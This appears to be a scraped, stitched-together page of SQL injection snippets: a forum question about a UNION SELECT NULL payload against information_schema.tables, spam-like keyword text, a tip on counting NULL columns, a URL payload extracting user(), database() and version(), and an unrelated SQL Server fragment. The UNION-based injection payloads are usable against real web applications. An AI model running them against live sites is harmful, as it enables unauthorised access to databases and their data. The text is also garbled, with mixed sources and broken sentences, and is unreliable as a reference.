Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
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sex8 cc index php union all select null null and mneb mne pictures.
...SELECT NULL,NULL,NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
Number of null-s on change between passed and failed queries is the one attacker looks for.
/index.php?id=null union all select 1,2,3,4,user(),6,database(),8,version(),10,11,12,1 3,14,15–. As you can see we selected values from the showing columns, what if we want to clean this up a bit, and put all of those selected values in one column? This is where concat() comes in
INSERT INTO tablesB VALUES (2),(2),(NULL) GO. CREATE CLUSTERED INDEX Ix_ID ON tablesB(Id) --. Now go through some of the queries written below to fetch records from tablesA that do not